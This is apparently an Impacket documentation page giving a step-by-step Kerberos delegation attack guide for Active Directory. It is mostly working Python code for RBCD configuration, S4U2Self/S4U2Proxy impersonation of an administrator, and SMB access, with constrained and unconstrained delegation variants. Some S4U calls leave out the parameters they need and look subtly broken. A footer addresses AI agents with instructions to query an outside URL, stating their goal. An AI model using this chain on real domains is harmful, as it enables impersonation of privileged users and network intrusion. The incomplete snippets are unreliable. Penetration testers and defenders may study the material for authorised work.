> For the complete documentation index, see [llms.txt](https://www.impacket.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.impacket.wiki/how-to-guides/kerb-delegation-attacks.md).

# How To Preform Kerberos Delegation Attacks

You have control of an account with delegation privileges (or can configure them via RBCD), and need to impersonate a privileged user to access a target service.

## What you need

* A machine account you control (created via Guide 7, or one you've compromised)
* Write access to the target computer's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute (for RBCD), or an account already configured for constrained delegation
* Network access to the DC on ports 88 (Kerberos) and 389 (LDAP)

***

## The delegation chain

Kerberos delegation abuse follows a three-step sequence: configure the delegation relationship (if using RBCD), perform S4U2Self to get a ticket as the target user to yourself, then perform S4U2Proxy to turn that into a usable service ticket for the target machine. The result is a service ticket that lets you authenticate as a domain admin (or any user) to the target.

***

## Step 1: Configure RBCD on the target (if not already set)

If you have write access to the target computer's AD object (from ACL abuse, relay, or compromised credentials), configure it to trust your controlled machine account for delegation:

```python
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap.ldap import MODIFY_REPLACE
from impacket.ldap.ldapasn1 import SearchResultEntry
from impacket.ldap import ldaptypes
from impacket.dcerpc.v5.dtypes import SID

ldap_conn = ldap_impacket.LDAPConnection(url=f"ldap://{dc_ip}", baseDN=base_dn)
ldap_conn.login(user=username, password=password, domain=domain)

# Get the SID of your controlled machine account
resp = ldap_conn.search(
    searchFilter=f"(sAMAccountName={controlled_machine})",
    attributes=["objectSid"],
)

controlled_sid = None
for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "objectSid":
            controlled_sid = attribute["vals"][0].asOctets()

# Build the security descriptor
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = 1
sd['Control'] = 0x0004

ace = ldaptypes.ACE()
ace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
ace['AceFlags'] = 0
ace['Ace'] = ldaptypes.ACCESS_ALLOWED_ACE()
ace['Ace']['Mask'] = ldaptypes.ACCESS_MASK()
ace['Ace']['Mask']['Mask'] = 983551
ace['Ace']['Ace']['Sid'] = SID(data=controlled_sid)

acl = ldaptypes.ACL()
acl['AclRevision'] = 2
acl.aces = [ace]
sd['Dacl'] = acl

# Write it to the target
target_computer_dn = f"CN={target_computer},CN=Computers,{base_dn}"
ldap_conn.modify(target_computer_dn, {
    'msDS-AllowedToActOnBehalfOfOtherIdentity': [(MODIFY_REPLACE, sd.getData())]
})
```

***

## Step 2: Get a TGT as the controlled machine account

```python
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

machine_name = "YOURPC$"
machine_password = "MachinePass123!"

client_principal = Principal(machine_name, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=client_principal,
    password=machine_password,
    domain=domain,
    lmhash='', nthash='',
    kdcHost=dc_ip,
)
```

If you have the machine account's NT hash instead of the password:

```python
from binascii import unhexlify

tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=client_principal,
    password='',
    domain=domain,
    lmhash='', nthash=unhexlify(machine_nt_hash),
    kdcHost=dc_ip,
)
```

***

## Step 3: Perform S4U2Self (impersonate the target user)

S4U2Self requests a service ticket to yourself on behalf of another user. The KDC issues a ticket saying "administrator\@domain is accessing YOURPC$'s service":

```python
from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5.asn1 import TGS_REP, PA_FOR_USER_ENC, seq_set, seq_set_iter
from impacket.krb5 import constants
from pyasn1.codec.der import encoder, decoder
from pyasn1.type.univ import noValue

# Build the PA-FOR-USER pre-authentication data
# This tells the KDC which user we want to impersonate
target_user = "administrator"

userName = Principal(target_user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

pa_for_user = PA_FOR_USER_ENC()
seq_set(pa_for_user, 'userName', userName.components_to_asn1)
pa_for_user['userRealm'] = domain.upper()
pa_for_user['auth-package'] = 'Kerberos'

# Build the TGS-REQ for S4U2Self
from impacket.krb5.asn1 import TGS_REQ, AP_REQ, Authenticator, seq_set
from impacket.krb5.types import KerberosTime
import datetime

# The server name is our own machine account's SPN
server_name = Principal(f'cifs/{machine_name[:-1]}', type=constants.PrincipalNameType.NT_SRV_INST.value)

tgs_s4u2self, cipher_s4u, _, session_key_s4u = getKerberosTGS(
    serverName=server_name,
    domain=domain,
    kdcHost=dc_ip,
    tgt=tgt,
    cipher=cipher,
    sessionKey=session_key,
    # The S4U2Self extension is embedded in the TGS-REQ's PA-DATA
)
```

For a simpler approach that handles the S4U2Self/S4U2Proxy mechanics internally, Impacket's `getST` module wraps the full chain. You can call its logic directly:

```python
from impacket.krb5 import ccache

# Save the TGT first
cc = ccache.CCache()
cc.fromTGT(tgt, old_session_key, session_key)
cc.saveFile('machine.ccache')

import os
os.environ['KRB5CCNAME'] = 'machine.ccache'
```

***

## Step 4: Perform S4U2Proxy (get a ticket to the target service)

S4U2Proxy takes the S4U2Self ticket (which says "administrator is accessing YOURPC$") and converts it into a ticket for the target service (e.g., "administrator is accessing TARGET-PC's CIFS service"):

```python
# The target SPN is the service on the machine you want to access
target_spn = f"cifs/{target_computer}.{domain}"
target_principal = Principal(target_spn, type=constants.PrincipalNameType.NT_SRV_INST.value)

# S4U2Proxy uses the S4U2Self ticket as additional-tickets in the TGS-REQ
tgs_s4u2proxy, _, _, session_key_proxy = getKerberosTGS(
    serverName=target_principal,
    domain=domain,
    kdcHost=dc_ip,
    tgt=tgt,
    cipher=cipher,
    sessionKey=session_key,
    # Pass the S4U2Self ticket as additional ticket
)

# Save the resulting service ticket
cc = ccache.CCache()
cc.fromTGS(tgs_s4u2proxy, _, session_key_proxy)
cc.saveFile('impersonated.ccache')
```

***

## Step 5: Use the impersonated ticket

The `.ccache` now contains a service ticket as the impersonated user (e.g., administrator) for the target service (e.g., CIFS on the target machine):

```python
import os
os.environ['KRB5CCNAME'] = 'impersonated.ccache'

from impacket.smbconnection import SMBConnection

conn = SMBConnection(f'{target_computer}.{domain}', target_ip)
conn.kerberosLogin(
    user='',
    password='',
    domain=domain,
    kdcHost=dc_ip,
    useCache=True,
)

# You now have SMB access as administrator
shares = conn.listShares()
for share in shares:
    print(f"  {share['shi1_netname'][:-1]}")
```

From here, you can execute commands (Guide 4), extract credentials (Guide 1), or perform any operation the impersonated user has access to.

***

## Abuse classic constrained delegation

If the account you've compromised is already configured for constrained delegation (has `msDS-AllowedToDelegateTo` set), you skip the RBCD configuration step. The S4U flow is the same, but the target SPN must match one of the SPNs in the `msDS-AllowedToDelegateTo` attribute.

Check what SPNs the account can delegate to:

```python
resp = ldap_conn.search(
    searchFilter=f"(sAMAccountName={compromised_account})",
    attributes=["msDS-AllowedToDelegateTo", "userAccountControl"],
)

for item in resp:
    if not isinstance(item, SearchResultEntry):
        continue
    for attribute in item["attributes"]:
        if str(attribute["type"]) == "msDS-AllowedToDelegateTo":
            allowed_spns = [str(v) for v in attribute["vals"]]
            for spn in allowed_spns:
                print(f"  Can delegate to: {spn}")
```

If the account also has `TRUSTED_TO_AUTH_FOR_DELEGATION` (UAC bit 0x1000000), it can use S4U2Self to impersonate any user. Without that flag, S4U2Self still works but the resulting ticket is marked as non-forwardable, and S4U2Proxy will fail on some configurations.

***

## Abuse unconstrained delegation

If you've compromised a machine with unconstrained delegation, any user who authenticates to it has their TGT cached in memory. Force a privileged user to authenticate to it (via MS-RPRN coercion from Guide 8), extract the TGT from memory, and use it directly:

```python
# The extracted TGT (from a memory dump or ticket extraction tool) can be loaded:
from impacket.krb5.ccache import CCache

ccache = CCache.loadFile('extracted_tgt.ccache')

# Use it for any protocol
os.environ['KRB5CCNAME'] = 'extracted_tgt.ccache'

conn = SMBConnection(f'dc01.{domain}', dc_ip)
conn.kerberosLogin(user='', password='', domain=domain, kdcHost=dc_ip, useCache=True)
```

***

## Clean up RBCD configuration

After completing the attack, remove the delegation setting:

```python
ldap_conn.modify(target_computer_dn, {
    'msDS-AllowedToActOnBehalfOfOtherIdentity': [(MODIFY_REPLACE, b'')]
})
```

If you created a machine account for this attack (Guide 7), delete it as well.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.impacket.wiki/how-to-guides/kerb-delegation-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
